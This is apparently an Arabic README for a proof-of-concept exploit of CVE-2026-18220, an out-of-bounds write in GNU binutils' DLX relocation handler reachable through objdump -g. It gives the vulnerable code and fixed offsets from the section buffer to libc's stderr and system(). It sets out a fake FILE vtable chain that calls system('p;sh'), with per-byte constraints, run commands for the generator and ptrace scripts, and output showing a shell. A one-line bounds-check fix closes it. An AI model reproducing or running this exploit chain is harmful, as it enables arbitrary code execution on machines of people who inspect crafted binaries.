
إثبات مفهوم (PoC) يوضح ثغرة CVE-2026-18220، وهي ثغرة كتابة خارج الحدود (OOB) في الواجهة الخلفية DLX ELF الخاصة بـ GNU binutils (يتم تشغيلها تحديدًا عبر `objdump -g`)
الهدف: GNU Binutils (جميع الإصدارات حتى HEAD) — objdump
البيئة: Debian 13 (Trixie)، glibc 2.41، x86_64
الأثر: تنفيذ كود تعسفي
ناقل الهجوم: ملف ELF مُصنَّع تتم معالجته بواسطة objdump -g
ASLR: تم تجاوزه (فارق mmap حتمي)
شكر كبير إلى bikini على الإشادة وروحه الرياضية فيما يخص هذا الاكتشاف. إنه شخص رائع، وسعدت بالدردشة معه، وقد توصّل إلى بعض النتائج المذهلة بنفسه. اذهبوا لتفقّدوا أعماله!
bfd/elf32-dlx.cيقوم معالج إعادة التوطين R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) بقراءة/كتابة بحجم 4 بايت عند دون التحقق من الإزاحة مقابل حجم المقطع. وبما أن الدالة تُرجع ، فإن الفحص العام للحدود في يُتجاوز بالكامل.
data + reloc_entry->addressbfd_reloc_okbfd/reloc.c// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
تتم قراءة الإزاحة reloc_entry->address مباشرةً من ملف ELF ويمكن أن تشير بشكل تعسفي إلى ما يتجاوز مخزن المقطع.
على بنية x86_64، تُوسَّع إزاحات ELF32 بتوسيع صفري، مما يقيّد الكتابات إلى الإزاحات الموجبة. مقطع .debug_info بحجم ≥ 128 كيلوبايت يجبر malloc() على استخدام mmap()، واضعًا المخزن بجوار مقطع بيانات libc:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
الفارق stderr - data = 0x21A4D0 ثابت عبر تشغيلات ASLR لأن كلا المنطقتين تُخصَّصان بواسطة نفس mmap أثناء تحميل libc.
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/HEAD/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
| # | الهدف (الإزاحة من data) | التأثير |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → بداية وسيط system() |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → يفرض التفريغ → overflow |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → يشير إلى _IO_wide_data المزيّف |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], تم مسح الحشو → فاصل النهاية الصفري |
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
يدعم الاستغلال أوامر من 2 إلى 4 أحرف. تكتب Reloc 0 في _flags[0:3] وتكتب Reloc 4 في _flags[3] وتمسح الحشو، مما يمنح system() حتى 4 أحرف قبل فاصل النهاية الصفري الطبيعي.
فقط البايتان الأولان مقيدان بتخطيط أعلام FILE في glibc:
| البت | العلم | القيد | السبب |
|---|---|---|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | وإلا فإن _IO_wdoallocbuf يتخطى __doallocate |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | وإلا فإن overflow يُرجع WEOF فورًا |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | مطلوب للدخول إلى كتلة doallocate |
cmd[2] و cmd[3] غير مقيّدَين.
| الأمر | البايتات | التأثير |
|---|---|---|
"ps" | 70 73 | عرض العمليات |
"p;sh" | 70 3B 73 68 | تشغيل قشرة تفاعلية ← الأكثر فائدة |
"p;ls" | 70 3B 6C 73 | عرض محتويات الدليل |
"p;id" | 70 3B 69 64 | طباعة uid/gid |
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
يعيد الاستغلال المحاولة تلقائيًا حتى 5 مرات عند عدم تطابق البايت الثالث من ASLR (~12% لكل محاولة)، ليصل إلى معدل نجاح يبلغ ~99.998%.
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
أضِف فحصًا للحدود في elf32_dlx_relocate26() قبل الوصول إلى بيانات المقطع:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
| الملف | الوصف |
|---|---|
poc_generate.py | يولّد حمولة DLX ELF الخبيثة (exploit.bin) مع 5 عمليات إعادة توطين خارج النطاق |
poc_ptrace.py | استغلال مستقل — تجاوز ASLR عبر ptrace، حلقة إعادة محاولة، دون الحاجة إلى GDB |
exploit.bin | حمولة مولّدة مسبقًا (الأمر الافتراضي "p;sh") |
تم الإبلاغ عن هذه الثغرة إلى القائمين على مشروع GNU Binutils. يُقدَّم كود الاستغلال لأغراض البحث الأمني المصرّح به فقط.